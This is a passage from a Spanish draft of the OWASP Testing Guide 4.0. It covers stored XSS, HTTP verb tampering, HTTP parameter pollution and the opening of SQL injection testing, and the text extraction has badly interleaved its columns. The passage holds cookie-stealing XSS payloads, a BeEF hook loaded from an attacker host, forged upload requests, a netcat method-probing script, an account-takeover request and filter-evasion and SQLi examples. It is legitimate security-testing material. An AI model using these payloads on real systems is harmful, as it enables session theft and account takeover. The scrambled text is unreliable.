Libros Blancos • CERT - Malicious HTML Tags Embedded in Client Web Requests: Read • Rsnake - XSS Cheat Sheet: Read • cgisecurity.com - The Cross Site Scripting FAQ: Read • G.Ollmann - HTML Code Injection and Cross-site scripting: Read • A. Calvo, D.Tiscornia - alert(‘A javascritp agent’): Read ( To be published ) • S. Frei, T. Dübendorfer, G. Ollmann, M. May - Understanding the Web browser threat: Read
• OWASP Xenotix XSS Exploit Framework: OWASP_Xenotix_XSS_Exploit_Framework OWASP Xenotix XSS Exploit Framework es un framework avanzado de detección y explotación de vulnerabilidades mediante Cross Site Scripting
Pruebas para Cross site scripting almacenados(OTG-INPVAL-002) Resumen
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 153
Guia de pruebas 4.0 "Borrador"
El Cross-site Scripting almacenado (XSS) es el tipo más peligroso de Cross Site Scripting. Las aplicaciones web que permiten a los usuarios almacenar datos están potencialmente expuestas a este tipo de ataques. Este capítulo ilustra ejemplos de escenarios relacionados con la inyección y explotación de Cross-site Scripting almacenado. El XSS almacenado se produce cuando una aplicación web reúne la información ingresada por un usuario que puede ser malicioso y esa información es almacenada para su uso posterior. La información almacenada no se filtra correctamente. Como consecuencia, los datos maliciosos aparecerán como parte del sitio web y se ejecutarán en el navegador del usuario con los privilegios de la aplicación web. Puesto que esta vulnerabilidad, por lo general, implica al menos dos peticiones a la aplicación, esto puede también llamarse XSS de segundo orden.
Esta vulnerabilidad se puede utilizar para llevar a cabo una serie de ataques basados en el navegador incluyendo:
• Secuestro del navegador de otro usuario • Captura de información confidencial vista por usuarios de la aplicación
El XSS almacenado es particularmente peligroso en las áreas de las aplicaciones donde los usuarios con altos privilegios tienen acceso. Cuando el administrador visita la página vulnerable, el ataque es ejecutado automáticamente por su navegador. Esto puede exponer información sensible como fichas de autorización de sesión.
Cómo probar Pruebas de Caja Negra El proceso para la identificación de las vulnerabilidades XSS almacenadas es similar al proceso descrito en la prueba de reflexión de XSS.
Formularios de ingreso El primer paso es identificar todos los puntos donde se almacenan los datos ingresados por el usuario en la zona de acceso restringido (backend) y luego se muestra en la aplicación. Ejemplos típicos de ingresos del usuario almacenados pueden encontrarse en:
• Pseudo desfiguración de la aplicación • Escaneo de puertos en hosts internos ("internos" en relación a los usuarios de la aplicación web)
• User/Profiles page: la aplicación permite al usuario editar o cambiar los datos del perfil tales como nombre, apellido, apodo, avatar, foto, dirección, etc.
• Explotación basada en el navegador de entrega dirigida • Otras actividades maliciosas
• Shopping cart: la aplicación permite al usuario guardar artículos en el carrito de compras que pueden ser revisados posteriormente. • File Manager: Esta aplicación permite subir archivos.
Un XSS almacenado no necesita un enlace malicioso para ser explotado. Una explotación exitosa se produce cuando un usuario visita una página con un XSS almacenado. Las fases siguientes se relacionan con una situación de ataque XSS almacenado normal:
• Application settings/preferences: aplicación que permite al usuario establecer sus preferencias. • Forum/Message board: la aplicación permite intercambiar mensajes entre usuarios. • Blog: si la aplicación del blog lo permite, los usuarios envían comentarios.
• El atacante almacena el código malicioso en la página vulnerable • El usuario se autentica en la aplicación
• Log: si la aplicación guarda en registros algunos datos ingresados por el usuario.
• El usuario visita páginas vulnerables • El código malicioso se ejecuta en el navegador del usuario
Este tipo de ataque también puede ser explotado mediante frameworks de explotación del navegador como BeEF, XSS Proxy y Backframe. Estos frameworks permiten el desarrollo de ataques complejos de JavaScript.
Analyze HTML code Los ingresos almacenados por la aplicación normalmente se utilizan en etiquetas HTML, pero también pueden encontrarse como parte del contenido de JavaScript. En esta etapa, es fundamental para entender si la información se almacena y cómo se ubica en el contexto de la página.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 154
Guia de pruebas 4.0 "Borrador"
A diferencia de la reflexión XSS, el evaluador de edición también debe investigar los canales "fuera de banda" a través de los cuales la aplicación recibe y almacena los datos ingresados por los usuarios.
Nota: Todas las áreas de la aplicación que son accesibles por el administrador deben ser probadas para identificar la presencia de cualquier información enviada por los usuarios.
aaa@aa.com”><script>alert(document.cookie)</script>
aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2F script%3E
Ejemplo: Información guardada por email en index2.php Asegúrese de que el ingreso de datos es enviado a través de la aplicación. Normalmente esto implica deshabilitar JavaScript si se implementan controles de seguridad del lado del cliente o modificar la solicitud HTTP con un proxy web como WebScarab. También es importante comprobar la misma inyección con peticiones HTTP GET y POST. Los resultados anteriores de la inyección, en una ventana emergente que contiene los valores de la cookie.
Resultado esperado:
El código HTML de index2.php donde los valores del email se ubican:
<input class=”inputbox” value=”aaa@aa.com” />
type=”text”
name=”email”
size=”40” El código HTML posterior a la inyección:
En este caso, el evaluador necesita encontrar una manera de inyectar el código fuera de la etiqueta <input> así como:
<input class=”inputbox” type=”text” name=”email” value=”aaa@aa.com”> MALICIOUS CODE <!-- />
<input class=”inputbox” type=”text” name=”email” size=”40” value=”aaa@aa.com”><script>alert(document.cookie)</script>
size=”40”
Pruebas del XSS Almacenado Esto implica probar la validación de ingreso de datos y los controles de filtro de la aplicación. Ejemplos básicos de inyección en este caso:
Los datos de entrada se almacenan y la carga XSS se ejecuta mediante el navegador al volver a cargar la página. Si los datos de entrada se escapan por la aplicación, los evaluadores deben probar la aplicación de filtros XSS. Por ejemplo, si la cadena "SCRIPT" es sustituida por un espacio o un carácter NULL, entonces esto podría ser un signo potencial de filtrado XSS en acción. Existen muchas técnicas para evadir los filtros de entrada (vea el capítulo de probando la reflexión de XSS). Se recomienda encarecidamente que los evaluadores consulten las páginas de evasión de filtros XSS, RSnake y Mario XSS Cheat, que proporcionan una extensa lista de ataques XSS y cómo evitar filtros. Refiérase a la sección de Libros Blancos y herramientas para obtener información más detallada.
Tome ventaja del XSS almacenado con BeEF
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 155
Guia de pruebas 4.0 "Borrador"
El XSS almacenado puede aprovecharse con un framework de explotación avanzado de JavaScript como BeEF, un Proxy XSS y Backframe. Un escenario típico de la explotación de BeEF:
• Inyectar un gancho de JavaScript que se comunica con el framework del navegador de explotación del atacante (BeEF). • Esperar a que el usuario vea la aplicación en la página vulnerable donde se muestra la información ingresada y almacenada. • Controlar la aplicación del navegador del usuario mediante la consola de BeEF.
El gancho de JavaScript puede ser inyectado mediante la explotación de la vulnerabilidad XSS en la aplicación web.
Este ataque es particularmente eficaz en páginas vulnerables que son vistas por muchos usuarios con diferentes privilegios.
Carga de archivos Si la aplicación web permite la carga de archivos, es importante comprobar si es posible cargar contenido HTML. Por ejemplo, si se permiten archivos HTML o TXT, una carga XSS puede ser inyectada en el archivo subido. El evaluador de edición también debe verificar si la carga de archivos permite el ajuste arbitrario de caracteres MIME.
Considere la siguiente petición HTTP POST para carga de archivos:
POST /fileupload.aspx HTTP/1.1 Ejemplo: BeEF Injection in index2.php:
aaa@aa.com”><script src=http://attackersite/hook.js></script>
[…]
Content-Disposition: form-data; name=”uploadfile1”; filename=”C:\Documents and Settings\test\Desktop\test.txt” Content-Type: text/plain
Cuando el usuario carga la página index2.php, el script hook.js se ejecuta en el navegador. Entonces es posible acceder a las cookies, captura de pantalla del usuario, portapapeles del usuario y lanzar ataques XSS complejos.
Resultado esperado
Test
Este error de diseño puede ser explotado con ataques de navegador MIME mal utilizados. Por ejemplo, archivos aparentemente inofensivos como JPG y GIF pueden contener una carga XSS que se ejecuta cuando se cargan en el navegador. Esto es posible cuando el carácter MIME para una imagen como image/gif se puede reemplazar con texto/html. En este caso, el evaluador del cliente tratará al archivo como HTML.
Petición HTTP POST falsificada:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 156
Guia de pruebas 4.0 "Borrador"
Content-Disposition: form-data; name=”uploadfile1”; filename=”C:\Documents and Settings\test\Desktop\test.gif”
programación de lenguajes como PHP, ASP y JSP usan las variables y funciones predefinidas para almacenar información de solicitudes HTTP GET y POST.
Content-Type: text/html
<script>alert(document.cookie)</script>
La siguiente tabla resume algunas variables especiales y funciones para mirar al analizar el código fuente:
También considere que el Internet Explorer no maneja caracteres MIME de la misma manera que lo hace Mozilla Firefox u otros navegadores. Por ejemplo, Internet Explorer maneja archivos TXT con contenido HTML como contenido HTML. Para más información sobre el manejo de MIME, consulte la sección de Libros Blancos al final de este capítulo.
Pruebas de Caja Gris La prueba de Caja Gris es similar a la prueba de Caja Negra. En la prueba de Caja Gris, el evaluador de edición tiene conocimiento parcial sobre la aplicación. En este caso, al respecto de la información ingresada por el usuario, controles de validación de ingresos y almacenamiento de datos podrían ser conocidos por el evaluador de edición.
Nota: La tabla anterior es sólo un resumen de los parámetros más importantes, pero deben investigarse los parámetros de entrada de usuario.
Tools • OWASP CAL9000
Dependiendo de la información disponible, normalmente se recomienda que los evaluadores comprueben cómo se procesa los ingresos del usuario por parte de la aplicación y cómo se almacena en el sistema de acceso restringido. Se recomiendan los siguientes pasos:
• Utilice una aplicación de acceso frontal e ingrese datos de entrada con caracteres especiales/no válidos. • Analice la respuesta de la aplicación.
CAL9000 incluye una implementación ordenable de ataques RSnake’s XSS, codificador y decodificador de caracteres, generador y evaluador de respuestas de solicitudes HTTP, lista de verificación de pruebas, editor de ataques automatizados y mucho más.
• PHP Charset Encoder(PCE): yehg.net PCE le ayuda a codificar textos arbitrarios desde y hacia 65 tipos de series de caracteres que puede utilizar en cargas personalizadas.
• Identifique la presencia de controles de validación de información ingresada. • Acceda al sistema de acceso restringido y verifique si los datos ingresados se almacenaron y cómo se almacenaron. • Analice el código fuente y entienda cómo los datos almacenados se procesan dentro de la aplicación.
• Hackvertor: businessinfo.co.uk Hackvertor es una herramienta en línea que permite muchos tipos de codificaciones y ofuscaciones de JavaScript (o cualquier cadena de ingreso).
• BeEF: beefproject.com Si el código fuente está disponible (Caja Blanca), deben analizarse todas las variables utilizadas en formularios de entrada. Particularmente, la
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 157
Guia de pruebas 4.0 "Borrador"
BeEF es el explotador del framework del navegador (browser exploitation framework); una herramienta profesional para demostrar las vulnerabilidades del navegador en tiempo real.
• Apuntes de repaso de evasión de filtros XSS
Libros • XSS-Proxy: xss-proxy.sourceforge.net XSS-Proxy es una herramienta avanzada de ataque de Cross-Site-Scripting (XSS.
• Backframe: gnucitizen.org Backframe es una consola de ataque completa para explotar navegadores web, usuarios web y aplicaciones web.
• Joel Scambray, Mike Shema, Caleb Sima - “Hacking Exposed Web Applications”, Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0 • Dafydd Stuttard, Marcus Pinto - “The Web Application’s Handbook Discovering and Exploiting Security Flaws”, 2008, Wiley, ISBN 978-0-47017077-9 • Jeremiah Grossman, Robert “RSnake” Hansen, Petko “pdp” D. Petkov, Anton Rager, Seth Fogie - “Cross Site Scripting Attacks: XSS Exploits and Defense”, 2007, Syngress, ISBN-10: 1-59749-154-3
Libros Blancos • OWASP ZAP: owasp.org • RSnake: “XSS (Cross Site Scripting) Cheat Sheet”: WebScarab es un framework para analizar aplicaciones que se comunican usando los protocolos HTTP y HTTPS.
owasp.org • CERT: “CERT Advisory CA-2000-02 Malicious HTML Tags
• Burp: portswigger.net El Proxy Burp es un servidor proxy interactivo de HTTP/S que sirve para atacar y probar aplicaciones web.
Embedded in Client Web Requests”: cert.org • Amit Klein: “Cross-site Scripting Explained”: courses.csail.mit.edu
• XSS Assistant: greasespot.net • Gunter Ollmann: “HTML Code Injection and Cross-site Es un Greasemonkey script que permite a los usuarios el acceso fácil a cualquier aplicación web en busca de fallas en el cross-site-scripting.
Scripting”: technicalinfo.net • CGISecurity.com: “The Cross Site Scripting FAQ”:
• OWASP Zed Attack Proxy (ZAP): OWASP_Zed_Attack_Proxy_Project ZAP es una herramienta de penetración integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser utilizada por personas con una amplia experiencia en seguridad y por eso es ideal para desarrolladores y evaluadores funcionales que son novatos realizando pruebas de penetración. ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que permiten encontrar las vulnerabilidades de seguridad manualmente.
Referencias
cgisecurity.com • Blake Frantz: “Flirting with MIME Types: A Browser’s Perspective”: leviathansecurity.com
Pruebas de manipulación de verbos en HTTP (OTG-INPVAL-003) Resumen La especificación de HTTP incluye métodos de peticiones que no son estándar, como GET y POST. Un servidor de quejas de estándares web puede responder a estos métodos alternativos de una manera no prevista por los desarrolladores. Aunque la descripción común es manipulación de
Recursos OWASP
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 158
Guia de pruebas 4.0 "Borrador"
'verbo', el estándar de HTTP 1.1 se refiere a estas solicitudes como métodos HTTP distintos.
contactos JavaScript y AJAX pueden enviar métodos distintos a GET y POST.
La especificación completa de HTTP 1.1 [1] define los siguientes métodos válidos de solicitudes HTTP, o verbos:
Mientras la aplicación web que se está probando no se contacte específicamente con un método HTTP no estándar, las pruebas de manipulación de verbo HTTP son bastante simples. Si el servidor acepta una petición que no sea GET o POST, la prueba fracasa. Las soluciones son deshabilitar todas las funciones que no sean GET o POST en el servidor de aplicaciones web, o en un firewall de aplicaciones web.
OPTIONS GET HEAD
POST PUT DELETE TRACE
Si están habilitadas, las extensiones Web Distributed Authoring and Version (WebDAV) [2] [3] permiten muchos métodos HTTP más:
PROPFIND
PROPPATCH
Si se requieren métodos como HEAD u OPTIONS para su aplicación, esto aumenta substancialmente la carga de la prueba. Cada acción dentro del sistema deberá verificarse para que estos métodos alternativos no activen acciones sin una apropiada autenticación ni revelen información sobre el contenido o funcionamiento de la aplicación web. Si es posible, limite el uso del método HTTP alternativo a una sola página que no contenga ninguna acción por parte del usuario, tal como la página genérica de arribo (ejemplo: index.html).
Cómo probar Como el HTML estándar no es compatible con la petición de GET o POST, tenemos que crear solicitudes HTTP personalizadas para probar los otros métodos.
MKCOL COPY
Recomendamos que use una herramienta para hacer esto, aunque le mostraremos cómo hacerlo manualmente también.
MOVE
LOCK UNLOCK Pruebas de manipulación manual de verbos en HTTP
Sin embargo, la mayoría de aplicaciones web sólo necesitan responder a solicitudes GET y POST, y proporcionar datos del usuario en la cadena de consulta de la dirección URL o anexa a la solicitud. El link normal de estilo <a href=””></a> desencadena una solicitud GET; el formulario de datos se envia mediante <form method="’POST’"></form> y desencadena las peticiones POST. Los formularios sin un método definido también envían los datos vía solicitudes GET, por defecto.
Curiosamente, los demás métodos válidos de HTTP no son compatibles con el estándar de HTML [4]. Cualquier método HTTP distinto a GET o POST debe ser contactado fuera del documento HTML. Sin embargo, los
Este ejemplo está escrito con el paquete de netcat de openbsd (estándar con la mayoría de las distribuciones Linux). También puede utilizar telnet (incluido en Windows) en una manera similar.
1. Elaborando solicitudes HTTP personalizadas
• Cada solicitud HTTP 1.1 sigue el siguiente formato básico y sintaxis. Los elementos rodeados por corchetes [ ] tienen el contexto de la aplicación. La línea vacía nueva al final es necesaria.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 159
Guia de pruebas 4.0 "Borrador"
[METHOD] /[index.htm] HTTP/1.1 host: [www.example.com]
1.5 PUT
PUT /index.html HTTP/1.1 host: www.example.com
• Para crear solicitudes independientes, puede escribir manualmente cada solicitud en netcat o telnet y examinar la respuesta. Sin embargo, para acelerar la prueba, también puede almacenar cada solicitud en un archivo separado.
1.6 DELETE
DELETE /index.html HTTP/1.1 host: www.example.com
Este segundo enfoque es lo que se demostrará en estos ejemplos. Utilice su editor favorito para crear un archivo de texto para cada método. Modifique la página genérica de arribo de la aplicación y dominio. 1.7 TRACE
1.1 OPTIONS
TRACE /index.html HTTP/1.1 host: www.example.com
OPTIONS /index.html HTTP/1.1 host: www.example.com 1.8 CONNECT
1.2 GET
CONNECT /index.html HTTP/1.1 host: www.example.com
GET /index.html HTTP/1.1 host: www.example.com 2. Enviando solicitudes HTTP
1.3 HEAD
HEAD /index.html HTTP/1.1
host: www.example.com
• Para cada método y/o archivo de texto con el método, envíe la solicitud a su servidor web vía netcat o telnet en el puerto 80 (HTTP):
nc www.example.com 80 < OPTIONS.http.txt
1.4 POST
POST /index.html HTTP/1.1
3. Analice las respuestas HTTP
host: www.example.com
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 160
Guia de pruebas 4.0 "Borrador"
• Aunque cada método HTTP puede devolver potencialmente resultados diferentes, hay sólo un resultado válido para todos los métodos que no sean GET y POST.
El servidor web debe ignorar la solicitud completamente o devolver un error. Cualquier otra respuesta indica una falla en la prueba, cuando el servidor responde a métodos/verbos que son innecesarios. Estos métodos deben deshabilitarse.
printf “$webservmethod “ ; printf “$webservmethod / HTTP/1.1\nHost: $1\n\n” | nc -q 1 $1 80 | grep “HTTP/1.1”
done
Código copiado textualmente desde el blog del laboratorio de pruebas de penetración [5] • Un ejemplo de una prueba fallida (es decir, el servidor soporta OPTIONS aunque no lo necesita): Referencias Libros Blancos • Arshan Dabirsiaghi: “Bypassing URL Authentication and Authorization with HTTP Verb Tampering” http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-httpverb-tampering
Pruebas de contaminación de parámetros HTTP (OTG-INPVAL-004) Resumen Abastecer múltiples parámetros HTTP con el mismo nombre puede causar que una aplicación interprete los valores de maneras imprevistas. Al explotar estos efectos, un atacante puede ser capaz de esquivar la validación de entrada, provocar errores de aplicación o modificar valores de variables internas. Ya que la contaminación de parámetros HTTP (HTTP Parameter Pollution [abreviado HPP]) afecta los cimientos de la construcción de las tecnologías web, existen los ataques del lado del servidor y del cliente. Pruebas de manipulación automatizada de verbos en HTTP Si usted es capaz de analizar su aplicación a través de simples códigos de Estado HTTP (200 OK, Error 501, etc.),a continuación el siguiente bash script pondrá a prueba todos los métodos disponibles de HTTP. #!/bin/bash
Las normas actuales de HTTP no incluyen una guía sobre cómo interpretar los parámetros de entrada múltiples con el mismo nombre. Por ejemplo, RFC 3986 simplemente define el concepto de cadena de consulta (Query String) como una serie de valores de campo pareados y RFC 2396 define clases de caracteres de la cadena de consulta inversa y sin reservas. Sin determinar un estándar, los componentes de la aplicación web manejan este caso extremo de diversas maneras (véase la siguiente tabla para más detalles).
for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;
do
Por sí misma, esta no es necesariamente una indicación de una vulnerabilidad. Sin embargo, si el desarrollador no está consciente del problema, la presencia de parámetros duplicados puede producir un comportamiento anómalo en la aplicación, que puede ser potencialmente
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 161
Guia de pruebas 4.0 "Borrador"
aprovechado por un atacante. Comúnmente en la seguridad, los comportamientos inesperados suelen ser una fuente habitual de las debilidades que podrían conducir a ataques por contaminación de parámetros HTTP en este caso. Para presentar de mejor manera esta clase de vulnerabilidades y el resultado de los ataques de HPP, es interesante analizar algunos ejemplos de la vida real que han sido descubiertos en el pasado.
Validación de ingresos y evasión de filtros En el 2009, inmediatamente después de la publicación de la primera investigación sobre la contaminación de parámetros HTTP, la técnica recibió la atención de la comunidad de seguridad como una posible forma de saltarse los firewalls de las aplicaciones web.
Evitar la autenticación Una vulnerabilidad más crítica de HPP fue descubierta en Blogger, la popular plataforma de blogs. La falla permitió que usuarios malintencionados tomen posesión del blog de la víctima mediante el uso de la siguiente solicitud HTTP:
POST /add-authors.do HTTP/1.1
security_token=attackertoken&blogID=attackerblogidvalue &blogID=victimblogidvalue&authorsList=goldshlager19test% 40gmail.com(attacker email)&ok=Invite
Uno de estos defectos, que afectan a ModSecurity SQL Injection Core Rules, representa un ejemplo perfecto del desajuste de impedancia entre aplicaciones y filtros.
El filtro ModSecurity correctamente incluye en la lista negra la siguiente cadena: select 1,2,3 de la tabla, bloqueando esta URL de ejemplo para que no pueda ser procesada por el servidor web: /index.aspx?page=select 1,2,3 de la tabla. Sin embargo, aprovechando la concatenación de múltiples parámetros HTTP, un atacante podría provocar que el servidor de aplicaciones enlace la cadena después de que el filtro ModSecurity ya ha aceptado la entrada.
Como ejemplo, la URL /index.aspx?page=select 1&page = 2,3 de la tabla no activaría el filtro ModSecurity, sin embargo, la capa de aplicación concatenaría la entrada de vuelta convirtiéndola nuevamente en la cadena maliciosa completa.
El defecto reside en el mecanismo de autenticación utilizado por la aplicación web al realizar la comprobación de seguridad en el primer parámetro blogID, mientras que en la operación real se usó el segundo acontecimiento.
Comportamiento esperado en el servidor de aplicaciones La siguiente tabla ilustra cómo diferentes tecnologías web se comportan en presencia de ocurrencias múltiples del mismo parámetro HTTP. Dada la URL y la cadena de consulta: http://example.com/?color=red&color=blue
Otra vulnerabilidad HPP afecta a Apple Cups, el muy conocido sistema de impresión utilizado por muchos sistemas UNIX. Explotando el HPP, un atacante podría desencadenar fácilmente una vulnerabilidad de Cross-Site Scripting al usar la siguiente URL: http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)&kerberos. El puesto de control de validación de la aplicación podría evitarse mediante la adición de un argumento kerberos extra que tenga una cadena válida (por ejemplo una cadena vacía). Ya que el control de validación sólo consideraría la segunda aparición, el primer parámetro de kerberos no fue desinfectado adecuadamente antes de ser utilizado para generar contenido HTML dinámico. Una explotación exitosa daría lugar a la ejecución de códigos Javascript en el contexto del sitio de alojamiento web.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 162
Guia de pruebas 4.0 "Borrador"
particular para probar, uno puede editar los datos GET o POST interceptando la solicitud, o cambiando la cadena de consulta después de que la página de respuesta se cargue. Para probar las vulnerabilidades HPP, simplemente añada el mismo parámetro para los datos GET o POST, pero asignando un valor diferente.
Por ejemplo: Si al probar el parámetro de search_string en la cadena de consulta, la URL incluye ese nombre de parámetro y valor. http://example.com/?search_string=kittens El parámetro en particular podría estar escondido entre varios otros parámetros, pero el enfoque es el mismo; deje los otros parámetros en su lugar y adjunte el duplicado. http://example.com/?mode=guest&search_string=kittens&num_results=100 Adjunte el mismo parámetro con un valor diferente http://example.com/?mode=guest&search_string=kittens&num_results=100&se arch_string=puppies y envíe la nueva solicitud. (fuente: Media:AppsecEU09_CarettoniDiPaola_v0.8.pdf )
Cómo probar Afortunadamente, porque normalmente se maneja la asignación de parámetros de HTTP mediante el servidor de aplicaciones web y no el mismo código de la aplicación, probar la respuesta a la contaminación del parámetro debe ser estándar en todas las páginas y acciones. Sin embargo, como se necesita conocimientos de lógica del negocio detallado, para probar el HPP se requieren pruebas manuales. Las herramientas automáticas sólo pueden ayudar parcialmente a los auditores, ya que tienden a generar muchos falsos positivos. Además, el HPP puede manifestarse en componentes tanto del lado del cliente como del servidor.
HPP del lado del servidor Para probar las vulnerabilidades HPP, identifique cualquier formulario o acción que permita ingresos suministrados por el usuario. Los parámetros de cadenas de consulta en las solicitudes HTTP GET son fáciles de ajustar en la barra de navegación del navegador. Si el formulario de acción envía datos a través de POST, el evaluador tendrá que usar un proxy interceptor para alterar los datos POST cuando se envía al servidor. Habiendo identificado un parámetro de entrada, en
Analice la página de respuesta para determinar qué valores se analizan. En el ejemplo anterior, los resultados de búsqueda pueden mostrar gatitos, cachorros, una combinación de ambos (gatitos, perritos o gatitos~cachorros o ['gatitos', 'cachorros']), puede dar un resultado vacío, o una página de error.
Este comportamiento, ya sea utilizando el primero, último, o la combinación de parámetros de entrada con el mismo nombre, es muy probable que sea consistente a través de toda la aplicación. Si este comportamiento predeterminado revela que una vulnerabilidad, potencial o no, depende de la validación de entrada específica y filtrado específico para una aplicación en particular. Como regla general: si existe validación de entrada y otros mecanismos de seguridad son suficientes cuando se utiliza una sola entrada, y si el servidor asigna sólo los parámetros iniciales o finales contaminados, entonces la contaminación del parámetro no revela una vulnerabilidad. Si se concatenan los parámetros duplicados, los distintos componentes de la aplicación web utilizan diferentes ocurrencias o las pruebas generan un error, hay una mayor probabilidad de poder usar la contaminación de parámetro para disparar las vulnerabilidades de seguridad.
Un análisis más detallado requeriría tres solicitudes HTTP para cada parámetro HTTP:
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 163
Guia de pruebas 4.0 "Borrador"
[1] Envíe una solicitud HTTP que contenga el nombre del parámetro estándar y el valor; también grabe la respuesta HTTP. Por ejemplo, page?par1=val1 [2] Cambie el valor del parámetro con un valor alterado, envíe y grabe la respuesta HTTP. Por ejemplo, page?par1=HPP_TEST1 [3] Envíe una nueva solicitud combinando el paso (1) y (2). Una vez más, guarde la respuesta HTTP. Por ejemplo, page?par1=val1&par1=HPP_TEST1 [4] Compare las respuestas obtenidas durante todos los pasos anteriores. Si la respuesta de (3) es diferente de (1) y la respuesta de (3) también es diferente a (2), hay un desajuste de impedancia que puede, finalmente, ser objeto de abuso para disparar las vulnerabilidades HPP.
En particular, preste atención a las respuestas que tengan vectores HPP dentro de datos, src, atributos href o formularios de acciones. Otra vez, si este comportamiento predeterminado revela o no una vulnerabilidad potencial, depende de la validación de entrada específica, filtrado y aplicación lógica del negocio. Además, es importante hacer notar que esta vulnerabilidad también puede afectar los parámetros de la cadena de consulta utilizados en XMLHttpRequest (XHR), para la creación del atributo de tiempo de ejecución y otras tecnologías de plugin (por ejemplo variables de Adobe Flash flashvars).
Herramientas [1] OWASP ZAP HPP Passive/Active Scanners
Elaborar una explotación completa de una debilidad de contaminación de parámetro está fuera del alcance de este texto. Vea las referencias para ejemplos y detalles.
[2] HPP Finder (Chrome Plugin)
Referencias HPP del lado del cliente Libros Blancos Del mismo modo al HPP de lado del servidor, la prueba manual es la única técnica confiable para auditar aplicaciones web con el fin de detectar vulnerabilidades de contaminación de parámetro que afectan a los componentes del lado del cliente. Mientras que en la variante del lado del servidor el atacante aprovecha una aplicación web vulnerable para acceder a datos protegidos o realizar acciones no permitidas o que no se deberían ejecutar, los ataques del lado del cliente apuntan a subvertir tecnologías y componentes de cliente.
[3] HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola [4] Split and Join (Bypassing Web Application Firewalls with HTTP Parameter Pollution) - Lavakumar Kuppan [5] Client-side Http Parameter Pollution Example (Yahoo! Classic Mail flaw) Stefano di Paola [6] How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel
Para comprobar las vulnerabilidades HPP del lado del cliente, identifique cualquier formulario o acción que permite el ingreso de datos del usuario y muestra el resultado de ese ingreso al usuario. Una página de búsqueda es ideal, pero un cuadro de inicio de sesión podría no funcionar (ya que podría no mostrar un nombre de usuario no válido al usuario).
[7] CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze [8] Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications - Marco Balduzzi, Carmen Torrano Gimenez, Davide Balzarotti, Engin Kirda Pruebas de inyecciones de SQL (OTG-INPVAL-005)
Semejante al HPP del lado del servidor, contamine cada parámetro HTTP con %26HPP_TEST y busque ocurrencias de decodificación de la url desde la carga suministrada por el usuario:
• &HPP_TEST • &amp;HPP_TEST • … and others
Resumen Un ataque de inyección SQL consiste en la inserción o "inyección" de una consulta SQL parcial o completa a través de los datos de entrada o transmitidos desde el cliente (navegador) hacia la aplicación web. Un ataque exitoso de inyección SQL puede leer datos sensibles de la base de datos, modificar datos de la base de datos (insertar/actualizar/eliminar), ejecutar operaciones administrativas de la base de datos (por ejemplo, apagar el DBMS), recuperar el contenido de un archivo existente en el sistema de archivos DBMS o escribir archivos en el sistema de archivos y, en algunos casos, emitir comandos al sistema operativo. Los ataques de inyección SQL son un tipo de ataque de inyección en los que los comandos SQL se inyectan en la entrada de datos planos para afectar la ejecución de instrucciones SQL predefinidas.
Documento Pre-release cortesía de Fernando Vela para drangonjar.org 164
Guia de pruebas 4.0 "Borrador"
En general, la manera en que las aplicaciones web construyen instrucciones SQL con sintaxis SQL, escritas por los programadores, se mezclan con los datos suministrados por el usuario. Ejemplo:
select title, text from news where id=$id
cómo realizar la inyección correctamente. Sin embargo, si la aplicación oculta los detalles del error, entonces el evaluador debe ser capaz de invertir la lógica de la consulta original.
Sobre las técnicas de inyección SQL para explotar los defectos, hay cinco técnicas comunes. También las técnicas, a veces, se pueden utilizar de forma combinada (e.g. operador de unión y fuera de banda):
• Operador de unión (Union Operator): se puede utilizar cuando ocurre la falla de inyección SQL en una instrucción SELECT, que permite combinar dos consultas en un único resultado o un conjunto de resultados. En el ejemplo anterior la variable $id contiene datos suministrados por el usuario, mientras que el resto es la parte estática del SQL proporcionada por el programador; lo que le convierte en dinámica a la instrucción SQL.
Debido a la forma en que fue construido, el usuario puede suministrar información a mano, tratando de hacer que la instrucción SQL original ejecute más acciones elegidas por el usuario. El ejemplo siguiente ilustra los datos suministrados por el usuario "10 or 1=1", cambia la lógica de la instrucción SQL, modifica la cláusula WHERE y agrega una condición "or 1=1". select title, text from news where id=10 or 1=1
Los ataques de inyección SQL pueden dividirse en las siguientes tres clases:
• Booleano (Boolean): Utilice las condiciones booleanas para verificar si ciertas condiciones son verdaderas o falsas. • Basadas en el error (Error based): esta técnica fuerza a la base de datos a generar un error, dando la información al atacante o evaluador con lo que puede refinar su inyección. • Fuera de banda(out-of-band): técnica utilizada para recuperar datos utilizando un canal diferente (por ejemplo, hacer una conexión HTTP para enviar los resultados a un servidor web). • Tiempo de retardo (Time Delay): Utilice comandos de base de datos (por ejemplo sleep) para retrasar las respuestas en consultas condicionales. Es útil cuando el atacante no tiene algún tipo de respuesta (resultado, salida o error) de la aplicación.
Cómo probar Técnicas de detección
• Dentro de Banda (Inband): se extraen los datos utilizando el mismo canal que se utiliza para inyectar el código SQL. Este es el tipo más sencillo de ataque, en el que los datos recuperados se presentan directamente en la página web de la aplicación. • Fuera de banda (Out-of-band): se recuperan los datos utilizando un canal diferente (por ejemplo, se genera un correo electrónico con los resultados de la consulta y se envía al evaluador). • Inferencial o ciega (Inferential or Blind): no hay una transferencia real de datos, pero el evaluador es capaz de reconstruir la información enviando peticiones particulares y observando el comportamiento resultante del servidor de base de datos.
Un ataque exitoso de inyección SQL requiere que el atacante cree una consulta SQL sintácticamente correcta. Si la aplicación devuelve un mensaje de error generado por una consulta incorrecta, puede ser más fácil para un atacante reconstruir la lógica de la consulta original y, por lo tanto, entender
